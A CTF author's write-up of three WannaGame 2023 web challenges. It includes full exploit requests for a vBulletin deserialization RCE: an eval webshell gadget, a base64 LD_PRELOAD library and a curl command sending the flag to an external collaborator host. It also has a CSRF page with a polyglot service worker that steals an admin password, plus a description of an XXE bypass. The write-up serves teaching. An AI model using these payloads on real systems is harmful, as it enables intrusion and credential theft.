WannaGame Championship 2023

WannaGame Championship 2023

This year marks the first time WannaGame Championship is organized for teams both domestically and internationally. It also might be the last year I contribute challenges for the university-level competition. Hopefully, it is! 🥺

Below is the write-up for 3 challenges that I made in this competition.

vB

This challenge was inspired by an evening when I was casually scrolling through Twitter. I happened to come across a blog post discussing a pre-auth RCE vulnerability in vBulletin - a software commonly used to build online forums, especially by educational institutions.

Afterward, I tested the exploit on a few real-world targets, and eventually created vB.

There will be some limitations related to the environment in which this forum is built, so it's not possible to directly use the PoC from the blog post to solve it.

For example, trying to directly access /ajax/api/user/save will cause a 403 status code.

Analysis

If you follow the right path, this challenge could be turned into a gray box or even a white box one, I think. vBulletin is not open-source software, so first, you need to find a way to obtain its source code.

After conducting some information gathering, you can obtain the "null" version of it (any version smaller than or equal to 5.6.9 is still ok) as well as the setup instructions in this link.

By checking the source code, we can find a way to bypass the endpoint restriction, and it is /index.php?routestring=ajax/api/user/save

So here comes another problem, searchprefs in the POC is blocked. But it's easy to bypass, just use another field which was also verified by the function verify_serialized()

and one of them is subfolders (I found it in an earlier version of vbulletin, in which many php classes were not packaged into phar file)

But winning the game is not that simple; there will be nothing in the response if you use system() due to PHP disable_functions.

With the source code in hand, you can experiment with different PHP gadgets in core\packages\googlelogin\vendor.

Here is the summary:

  • Guzzlehttp/FW1 -> file write

  • Guzzlehttp/RCE1 -> calling a function with one parameter.

  • PHPSeclib -> eval php code

The second is similar to monolog, so let's take a look at the first and the third gadget. You can try the Guzzlehttp file write gadget, and use this repo to bypass disable functions. It should work in some real-case targets, but not in this challenge because I set the permission of document root to 555.

  • Guzzlehttp/FW1 -> file write

  • Guzzlehttp/RCE1 -> calling a function with one parameter.

  • PHPSeclib -> eval php code

So, we have one last gadget remaining, PHPSeclib, which will help us execute PHP code. But eval() is also disabled, or is it? ...The answer is no, it isn't.

-> Arbitrary code execution.

To be honest, I still use the above repo to bypass disable functions, but it didn't work. At the time I wrote this write-up, I hadn't figured it out yet. When using the PHPSeclib gadget, php code is executed inside a lambda function, and I don't know if that is the problem (if you find out the reason, please let me know 😆).

The method I used to overcome this problem is LD_PRELOAD, idea is to write a bypass.so file in the file system. After that, set the LD_PRELOAD environment variable to it, and finally, call the PHP mail() function.

Exploit

Request write .so file:

POST /?routestring=ajax/api/user/save HTTP/1.1
Host: vbu.w1chall.io.vn:1111
Content-Length: 10158
Connection: close

options=
&adminoptions=
&userfield=
&userid=0
&user[email]=1csdc2cwdcccccasd@a.com
&user[username]=sdccccccd
&password=password&user[password]=password
&user[subfolders]=<@urlencode>a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;a:1:{i:0;O:18:"phpseclib\Net\SSH1":2:{s:6:"bitmap";i:1;s:6:"crypto";O:19:"phpseclib\Crypt\AES":8:{s:6:"bitmap";i:1;s:6:"crypto";i:1;s:10:"block_size";N;s:12:"inline_crypt";a:2:{i:0;O:25:"phpseclib\Crypt\TripleDES":6:{s:10:"block_size";s:54:"1){}}}; ob_clean();
eval($_POST['payload']);die(); ?>";s:12:"inline_crypt";N;s:16:"use_inline_crypt";i:1;s:7:"changed";i:0;s:6:"engine";i:1;s:4:"mode";i:1;}i:1;s:26:"_createInlineCryptFunction";}s:16:"use_inline_crypt";i:1;s:7:"changed";i:0;s:6:"engine";i:1;s:4:"mode";i:1;}}}}<@/urlencode>&securitytoken=guest&payload=<@urlencode>
file_put_contents("/tmp/bypass.so", base64_decode("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AAAAAAMAEQAYCSAAAAAAAAAAAAAAAAAAAAAAAAMAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAMAEwAoCSAAAAAAAAAAAAAAAAAAAAAAAAMAFADoCiAAAAAAAAAAAAAAAAAAAAAAAAMAFQAYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFgBYCyAAAAAAAAAAAAAAAAAAAAAAAAMAFwBgCyAAAAAAAAAAAAAAAAAAAAAAAAMAGAAAAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAADAAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAGQAAAAIACwDABgAAAAAAAAAAAAAAAAAALgAAAAIACwAABwAAAAAAAAAAAAAAAAAAQQAAAAIACwBQBwAAAAAAAAAAAAAAAAAAVwAAAAEAFwBgCyAAAAAAAAEAAAAAAAAAZgAAAAEAEQAYCSAAAAAAAAAAAAAAAAAAjQAAAAIACwCQBwAAAAAAAAAAAAAAAAAAmQAAAAEAEAAICSAAAAAAAAAAAAAAAAAAuAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAAQAAAAQA8f8AAAAAAAAAAAAAAAAAAAAAzQAAAAEADwAACQAAAAAAAAAAAAAAAAAA2wAAAAEAEgAgCSAAAAAAAAAAAAAAAAAAAAAAAAQA8f8AAAAAAAAAAAAAAAAAAAAA5wAAAAEAFgBYCyAAAAAAAAAAAAAAAAAA9AAAAAEAEwAoCSAAAAAAAAAAAAAAAAAA/QAAAAEAFgBgCyAAAAAAAAAAAAAAAAAACQEAAAEAFQAYCyAAAAAAAAAAAAAAAAAAHwEAABIAAAAAAAAAAAAAAAAAAAAAAAAAMwEAACAAAAAAAAAAAAAAAAAAAAAAAAAATwEAABAAFgBgCyAAAAAAAAAAAAAAAAAAVgEAABIADABgCAAAAAAAAAAAAAAAAAAAXAEAABIAAAAAAAAAAAAAAAAAAAAAAAAAcAEAACAAAAAAAAAAAAAAAAAAAAAAAAAAfwEAABEAAAAAAAAAAAAAAAAAAAAAAAAAlAEAABAAFwBoCyAAAAAAAAAAAAAAAAAAmQEAABAAFwBgCyAAAAAAAAAAAAAAAAAApQEAABIACwDABwAAAAAAAJ0AAAAAAAAArQEAACAAAAAAAAAAAAAAAAAAAAAAAAAAwQEAABEAAAAAAAAAAAAAAAAAAAAAAAAA2AEAACAAAAAAAAAAAAAAAAAAAAAAAAAA8gEAACIAAAAAAAAAAAAAAAAAAAAAAAAADgIAABIACQA4BgAAAAAAAAAAAAAAAAAAFAIAABIAAAAAAAAAAAAAAAAAAAAAAAAAAGNydHN0dWZmLmMAX19KQ1JfTElTVF9fAGRlcmVnaXN0ZXJfdG1fY2xvbmVzAHJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2JhbF9kdG9yc19hdXgAY29tcGxldGVkLjY2NzAAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhbWVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AGJ5cGFzc19kaXNhYmxlZnVuYy5jAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kc29faGFuZGxlAF9EWU5BTUlDAF9fVE1DX0VORF9fAF9HTE9CQUxfT0ZGU0VUX1RBQkxFXwBnZXRlbnZAQEdMSUJDXzIuMi41AF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfZWRhdGEAX2ZpbmkAc3lzdGVtQEBHTElCQ18yLjIuNQBfX2dtb25fc3RhcnRfXwBlbnZpcm9uQEBHTElCQ18yLjIuNQBfZW5kAF9fYnNzX3N0YXJ0AHByZWxvYWQAX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2Vudmlyb25AQEdMSUJDXzIuMi41AF9JVE1fcmVnaXN0ZXJUTUNsb25lVGFibGUAX19jeGFfZmluYWxpemVAQEdMSUJDXzIuMi41AF9pbml0AHN0cnN0ckBAR0xJQkNfMi4yLjUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAAAAHAAAAAgAAAAAAAACQAQAAAAAAAJABAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAuAAAA9v//bwIAAAAAAAAAuAEAAAAAAAC4AQAAAAAAADwAAAAAAAAAAwAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAOAAAAAsAAAACAAAAAAAAAPgBAAAAAAAA+AEAAAAAAADIAQAAAAAAAAQAAAACAAAACAAAAAAAAAAYAAAAAAAAAEAAAAADAAAAAgAAAAAAAADAAwAAAAAAAMADAAAAAAAAygAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAABIAAAA////bwIAAAAAAAAAigQAAAAAAACKBAAAAAAAACYAAAAAAAAAAwAAAAAAAAACAAAAAAAAAAIAAAAAAAAAVQAAAP7//28CAAAAAAAAALAEAAAAAAAAsAQAAAAAAAAgAAAAAAAAAAQAAAABAAAACAAAAAAAAAAAAAAAAAAAAGQAAAAEAAAAAgAAAAAAAADQBAAAAAAAANAEAAAAAAAA8AAAAAAAAAADAAAAAAAAAAgAAAAAAAAAGAAAAAAAAABuAAAABAAAAEIAAAAAAAAAwAUAAAAAAADABQAAAAAAAHgAAAAAAAAAAwAAAAoAAAAIAAAAAAAAABgAAAAAAAAAeAAAAAEAAAAGAAAAAAAAADgGAAAAAAAAOAYAAAAAAAAaAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAHMAAAABAAAABgAAAAAAAABgBgAAAAAAAGAGAAAAAAAAYAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAB+AAAAAQAAAAYAAAAAAAAAwAYAAAAAAADABgAAAAAAAJ0BAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAhAAAAAEAAAAGAAAAAAAAAGAIAAAAAAAAYAgAAAAAAAAJAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAIoAAAABAAAAAgAAAAAAAABpCAAAAAAAAGkIAAAAAAAAGAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAACSAAAAAQAAAAIAAAAAAAAAhAgAAAAAAACECAAAAAAAABwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAoAAAAAEAAAACAAAAAAAAAKAIAAAAAAAAoAgAAAAAAABkAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAKoAAAAOAAAAAwAAAAAAAAAICSAAAAAAAAgJAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAC2AAAADwAAAAMAAAAAAAAAGAkgAAAAAAAYCQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAwgAAAAEAAAADAAAAAAAAACAJIAAAAAAAIAkAAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAMcAAAAGAAAAAwAAAAAAAAAoCSAAAAAAACgJAAAAAAAAwAEAAAAAAAAEAAAAAAAAAAgAAAAAAAAAEAAAAAAAAADQAAAAAQAAAAMAAAAAAAAA6AogAAAAAADoCgAAAAAAADAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA1QAAAAEAAAADAAAAAAAAABgLIAAAAAAAGAsAAAAAAABAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAN4AAAABAAAAAwAAAAAAAABYCyAAAAAAAFgLAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAADkAAAACAAAAAMAAAAAAAAAYAsgAAAAAABgCwAAAAAAAAgAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA6QAAAAEAAAAwAAAAAAAAAAAAAAAAAAAAYAsAAAAAAAAkAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAABEAAAADAAAAAAAAAAAAAAAAAAAAAAAAAIQLAAAAAAAA8gAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAB4DAAAAAAAAIgFAAAAAAAAGwAAACsAAAAIAAAAAAAAABgAAAAAAAAACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAABIAAAAAAAAoAgAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA=="));
<@/urlencode>

Request execute /readflag and send to burp collab

POST /?routestring=ajax/api/user/save HTTP/1.1
Host: vbu.w1chall.io.vn:1111
Connection: close

options=
&adminoptions=
&userfield=
&userid=0
&user[email]=1csdc2cwdcccccasd@a.com
&user[username]=sdccccccd
&password=password&user[password]=password
&user[subfolders]=<@urlencode>a:2:{i:0;O:27:"googlelogin_vendor_autoload":0:{}i:1;a:1:{i:0;O:18:"phpseclib\Net\SSH1":2:{s:6:"bitmap";i:1;s:6:"crypto";O:19:"phpseclib\Crypt\AES":8:{s:6:"bitmap";i:1;s:6:"crypto";i:1;s:10:"block_size";N;s:12:"inline_crypt";a:2:{i:0;O:25:"phpseclib\Crypt\TripleDES":6:{s:10:"block_size";s:54:"1){}}}; ob_clean();
eval($_POST['payload']);die(); ?>";s:12:"inline_crypt";N;s:16:"use_inline_crypt";i:1;s:7:"changed";i:0;s:6:"engine";i:1;s:4:"mode";i:1;}i:1;s:26:"_createInlineCryptFunction";}s:16:"use_inline_crypt";i:1;s:7:"changed";i:0;s:6:"engine";i:1;s:4:"mode";i:1;}}}}<@/urlencode>&securitytoken=guest&payload=<@urlencode>
if (isset($_POST["env"])) {
    foreach ($_POST["env"] as $key => $value) {
            putenv($key."=".$value);
    }
}
mail(1,1,1);
<@/urlencode>&env[LD_PRELOAD]=/tmp/bypass.so&env[EVIL_CMDLINE]=<@urlencode>curl -X POST -d $(/readflag|base64 -w0) http://5cirrlmwc83g67z0k1vkbkawsnyem4at.oastify.com<@/urlencode>

And the flag


SecureApp

Analysis

This challenge was inspired by some techniques I learned from Strellic. The application is quite simple, a website that only allows administrators to upload images and the flag is also the administrator password.

The bot will first log in to the website, then access the provided URL path, and finally, navigate to /api/logout.php to log out by re-entering the admin password (flag).

Take a look at the web application, it allows admin to upload some image files like svg, png, gif, jpg, jpeg and ... js 🤔. The upload file is checked via php gd function imagecreatefromstring(), and finally written into current working directory with a random name.

And if the uploading request is from admin panel site, then it just returns the path to the recently uploaded file else redirects to the file.

So, currently, we have

  • The ability to upload some special files: js and svg (xss)

  • The web app does not implement csrf token and the SameSite attribute is not explicitly set so maybe csrf will work.

Let's go through each possible vulnerability

CSRF

An HTTP request upload file looks like this, and the body is in JSON format

On the server, it simply decodes the JSON and checks if the required fields exist.

So to exploit CSRF at /api/file.php we need to consider two things:

  • The SameSite attribute for cookies is not set; it defaults to Lax, and the cookie can be sent cross-site in the first two minutes after being set (https://medium.com/@renwa/bypass-samesite-cookies-default-to-lax-and-get-csrf-343ba09b9f2b).

  • The server does not check the 'Content-Type: application/json' header in the request, so we just need to ensure that the body sent resembles JSON. JSON CSRF is a bit complicated, and requires a lot of knowledge about simple requests, complex requests, safe request methods, safe request headers, CORS ... but in this challenge, we just use html form to perform CSRF.

XSS & Service worker

There are two special files we can upload: js and svg, svg file can help us archive cross site scripting attack. About js, we will need to bypass the image checking by the imagecreatefromstring() function and the solution is making a GIF/Javascript Polyglot.

Next, pay attention to the bot's behavior, it first logs into the site then navigates to the provided url and finally logs out by entering the password again. Based on this, we can register a service worker with scope /api/, the polyglot gif/js file is also located in /api so the scope is satisfied.

The idea is to return our malicious form with the input name confirm_code and action point to our webhook, so when bot submits password, it will be sent to our server.

Exploit

Create js/polyglot file

Set up an exploit page, which will make the bot upload a svg file and after being redirected to the uploaded file, it will continue to upload a gif/js polyglot file and register service worker at /api.

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="http://app/api/file.php" id="csrf-form" method="POST" enctype="text/plain">
        <input name='{"filename":"xss.svg", "base64_content": "PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFBVQkxJQyAiLS8vVzNDLy9EVEQgU1ZHIDEuMS8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9HcmFwaGljcy9TVkcvMS4xL0RURC9zdmcxMS5kdGQiPgoKPHN2ZyB2ZXJzaW9uPSIxLjEiIGJhc2VQcm9maWxlPSJmdWxsIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogIDxwb2x5Z29uIGlkPSJ0cmlhbmdsZSIgcG9pbnRzPSIwLDAgMCw1MCA1MCwwIiBmaWxsPSIjMDA5OTAwIiBzdHJva2U9IiMwMDQ0MDAiLz4KICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CiAgICAgIHZhciBteURhdGEgPSB7CiAgICAgICAgICBmaWxlbmFtZTogJ2dpZl94c3NfcG9seWdvdC5qcycsCiAgICAgICAgICBiYXNlNjRfY29udGVudDogJ1IwbEdPRGxoTHlvTkFKSC9BQUFBQUFBQW1jREF3UC8vL3lINUJBRUFBQUlBTEFBQUFBQUxBQTBBUUFJaWhHK2lNT0VmaG1sdldJbnlvVTVLd1VEVkpIYlRaU1VnbWlJc2VyNlkzTkpTQVFBN0tpODlNVHR2Ym1abGRHTm9QU2hsS1QwK2UybG1LR1V1Y21WeGRXVnpkQzUxY213dWFXNWpiSFZrWlhNb0p5OWhjR2t2Ykc5bmIzVjBMbkJvY0NjcEtYdGxMbkpsYzNCdmJtUlhhWFJvS0c1bGR5QlNaWE53YjI1elpTaGdQR1p2Y20wZ1lXTjBhVzl1UFNKb2RIUndPaTh2TlhZNU1ITjZZbXd1Y21WeGRXVnpkSEpsY0c4dVkyOXRJaUJ0WlhSb2IyUTlJbEJQVTFRaVBqeHBibkIxZENCMGVYQmxQU0p3WVhOemQyOXlaQ0lnYVdROUltTnZibVpwY20xZlkyOWtaU0lnYm1GdFpUMGlZMjl1Wm1seWJWOWpiMlJsSWlCeVpYRjFhWEpsWkQ0OGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQjJZV3gxWlQwaWMzVmliV2wwSWo0OEwyWnZjbTArWUN4N2FHVmhaR1Z5Y3pwN0owTnZiblJsYm5RdFZIbHdaU2M2SjNSbGVIUXZhSFJ0YkNkOWZTa3BmWDA9JwogICAgICB9OwoKICAgICAgdmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICB4aHIub3BlbignUE9TVCcsICdodHRwOi8vYXBwOjgwL2FwaS9maWxlLnBocCcsIHRydWUpOwogICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcignQ29udGVudC1UeXBlJywgJ2FwcGxpY2F0aW9uL2pzb24nKTsKICAgICAgeGhyLm9ubG9hZCA9IGZ1bmN0aW9uICgpIHsKaWYgKCJzZXJ2aWNlV29ya2VyIiBpbiBuYXZpZ2F0b3IpIHsKICAgICAgICAgIG5hdmlnYXRvci5zZXJ2aWNlV29ya2VyLnJlZ2lzdGVyKHhoci5yZXNwb25zZVVSTCwgewogICAgICAgICAgc2NvcGU6ICcvYXBpLycKICAgICAgfSk7Cn1lbHNlIGNvbnNvbGUubG9nKCJOb3Qgc3VwcG9ydCBzZXJ2aWNlIHdvcmtlciIpOwoKICAgICAgfTsKCiAgICAgIC8vIENvbnZlcnQgdGhlIGRhdGEgb2JqZWN0IHRvIGEgSlNPTiBzdHJpbmcgYW5kIHNlbmQgaXQgYXMgdGhlIHJlcXVlc3QgYm9keQogICAgICB2YXIgcmVxdWVzdERhdGEgPSBKU09OLnN0cmluZ2lmeShteURhdGEpOwogICAgICB4aHIuc2VuZChyZXF1ZXN0RGF0YSk7CiAgPC9zY3JpcHQ+Cjwvc3ZnPgo=", "foo":"}' value='"}' type="hidden" />
    </form>
    <script>
        document.getElementById("csrf-form").submit();
    </script>
</body>
</html>

flag


Art Galery

Analysis

  • An executable file /readflag with SUID bit so the goal is to execute this file to get the flag, the application art_galery.jar is run with babyrasp agent (we will talk about it later)

  • The JDK version is 15, it is still not very high so we won't face any problems with high version restriction.

Folder structure of the source code

IndexController simply returns the homepage

The homepage will make requests to /api/decompress with a path parameter representing the image to be decompressed. It performs gzip decompression based on the path and reads the object from that input stream using the SecureObjectInputStream class.

Bellow, there is an additional endpoint for xml parsing, but it blocked some dangerous keywords like system, http ...

It only blocked keywords, without enabling the disallow-doctype-decl feature or disabling external-general-entities and external-parameter-entities. So you can easily bypass with the html entity encode trick (read here), we can directly read/list files and ... create file - an old trick in java in that we abuse the jar protocol and hang the connection when fetching a file from the server to make it keep the temp file not being deleted.

With the ability to create file, we can exploit insecure deserialization from /api/decompress. The hardest part of the challenge will start from here.

Look-ahead ObjectInputStream mitigation bypass

